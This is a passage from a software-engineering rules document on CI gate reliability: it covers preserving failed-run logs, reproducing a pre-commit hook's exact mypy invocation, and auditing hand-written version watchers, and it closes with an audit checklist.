  single-slot buffer that the next invocation empties.
- **Record wall-clock duration beside the verdict.** It is often the only signal separating an
  environment problem from a product one: the same suite at 1599s against a 757s baseline for
  identical code is the tell that two runs were contending, not that the code changed
  (`sota-performance` rules/01 §9a — a suspiciously *slow* run indicts the measurement first).
- **A flake you cannot explain is not a flake, it is an unread log.** Before adding a failure
  to a known-intermittent list, check whether its first occurrence was ever preserved. A list
  of "unexplained intermittent failures" is frequently a list of runs whose evidence was
  overwritten.

## 5. The scoped gate is not the gate — reproduce the invocation, not an equivalent

Everything above is about the *pipeline's* scope drifting away from the code. This
is the inverse, and it is what makes people report "all gates clean" before they
push: the code is in scope, the gate sees it, and the **human's local re-run uses
a different invocation** and therefore answers a different question.

Reproduced here at mypy 2.3.1, same tool, same tree, same moment — the error lives
in a file the developer did not change:

```
$ mypy src/pkg/                                      # what you type to "check it"
src/pkg/b.py:2: error: Incompatible return value type ...        exit=1
$ mypy --ignore-missing-imports --no-error-summary \
       --follow-imports=silent src/pkg/a.py          # what the pre-commit hook runs
                                                                 exit=0
```

It runs both ways. Field-reported 2026-09-05 in the opposite direction: a
whole-package run printed `Success: no issues found in 378 source files` while the
hook's changed-file invocation returned three genuine errors (a narrowed `Optional`
reassigned). **Neither verdict is authoritative for the other.** At least three
independent levers produce the divergence, and you rarely know which one you are
looking at: **file selection** (with `--follow-imports=silent`, errors in modules
outside the named set are followed but suppressed), **flags** (`--ignore-missing-imports`
turns absent third-party stubs into `Any`, and inference changes with them), and a
**stale incremental cache** (`.mypy_cache`) on the run that looked clean.

The same trap sits under `ruff`/`eslint` (config discovery depends on the invocation
directory), `pytest` (markers, `-p` plugins, `--import-mode`, `-k` selection), and
every tool whose answer is a function of flags *plus* file selection.

**The rule.** To verify a gate locally, reproduce **its exact invocation** — flags and
file selection — read out of the hook or workflow config, not a convenient equivalent.
Better, run the hook manager itself: `pre-commit run --all-files`, `act`, the CI script.
Where a tool's answer depends on its file selection, say so at the gate definition so
the next person does not re-derive it. And read **each gate's exit code on its own**: an
`&&` chain reports only the last command's status, a trailing `echo` makes the shell's
status 0 whatever the tool did, and a pipe reports the last stage
(`sota-shell-scripting` rules/01 §3). A locally clean run of "the same" linter is not
evidence the gate is clean — it is evidence that a different question has a different
answer.

## 6. A bespoke watcher inherits the publishing conventions of what it watches

Some things you pin cannot be seen by an update bot at all (`rules/03` §3.7.1), so you
write the watcher yourself. It is then an instrument and fails the way instruments fail
(`sota-code-security` rules/15 §2) — with one twist that makes it worse: **silence is a
watcher's normal state**, so an entry that can *never* report is indistinguishable from an
entry with nothing to report. Two field-reported failures, both producing a green that
meant nothing:

- **The source may not publish in the form you query.** A watcher asking
  `GET /repos/<owner>/<repo>/releases/latest` gets a **404** from a project that publishes
  git tags and zero GitHub releases — the entry is skipped silently, every run, forever,
  while the list still reads as complete. That is worse than the entry being absent, because
  completeness is what stops anyone looking. Reproduced 2026-09-07: `mholt/caddy-ratelimit`
  has **0** releases and the single tag `v0.1.0`, and `releases/latest` answers
  `404 Not Found`. Fall back to `/tags` filtered to semver, and do the ordering yourself.
- **The threshold may be coarser than the event class you pinned for.** Alerting only at
  "more than one minor behind" is reasonable for images rebuilt on a schedule and wrong for
  a *pinned*, internet-facing TLS terminator, where `v2.11.4 → v2.11.5` is precisely the
  event the pin exists to catch. It reported **OK**. Derive the threshold from the event
  class you are pinning against; never inherit a default and discover the class later.

**Audit a watcher on four axes**, all cheap, all answerable before you trust a run:

1. **Does the source publish in the form I query?** Ask once per entry and read the answer
   per entry — an aggregate "N checked" hides the entries that can never answer.
2. **Is my threshold finer than the event class I care about?** A patch-level pin needs a
   patch-level threshold, or the watcher excludes its own reason for existing.
3. **Can I make it fire on demand?** A watcher with no forced-alarm path has never been
   observed working (§2; `sota-code-security` rules/15 §2.2 — never trust a number from an
   instrument you have not watched produce a *wrong* answer on purpose).
4. **Does the comparator behave in the environment the watcher runs in, not in my shell?**
   Version comparison is the classic: a lexical sort ranks `v2.9.1` above `v2.11.4` and
   inverts every verdict (verified 2026-09-07 — `sort` returns `v2.9.1`, `sort -V` returns
   `v2.11.4`), and `-V` is not in POSIX. Check it *in the image*: measured the same day,
   BusyBox 1.37.0 in `alpine:latest` does support `-V` — the assumption was wrong in the
   safe direction that time, which is exactly why it is worth one command rather than a
   guess. A shell-less base has no `sort` at all.

An entry that has never reported anything is `sota-code-security` rules/15 §2.2a's
four-state problem in a slower loop: **UNKNOWN** rendered as **NOT DONE**, indefinitely.
Count the runs in which an entry produced no comparison at all, and alert on that count —
"I have not been able to read this for six weeks" is a different fact from "up to date".

## Audit checklist

- [ ] **Warnings emitted on a PASSING run have a verified path to a human** (§4) — the
      wrapper's success-path output handling checked, not assumed (pre-commit discards it
      by default), and a ledger query proving the record exists rather than the stdout line.
- [ ] **Does every gate that classifies its own failure write that verdict somewhere durable?**
      (§4) On Kubernetes, `/dev/termination-log`; elsewhere, the surface your orchestrator
      actually preserves — named, and checked rather than assumed. Budget the message from the
      **container count**, not from 4096 bytes.
- [ ] **Is a failed run's log preserved before anything re-runs?** (§4a) Per-run paths, not a
      fixed one; stderr folded in; duration recorded beside the verdict. Ask specifically:
      **could the cause of the last red run still be read today?** If the answer is "it was
      re-run", the evidence is gone — and any "unexplained intermittent failure" list built
      that way is a list of unread logs, not of flakes.
- [ ] **Is every "gates are clean" claim backed by the gate's own invocation?** (§5) Reproduce
      the pipeline's command, not an equivalent — a different scope is a different question.
- [ ] **Can each entry in a hand-rolled watcher report at all?** (§6) Per entry, not in
      aggregate: count the runs in which an entry produced no comparison, and alert on it.
      "I have not been able to read this for six weeks" is not "up to date".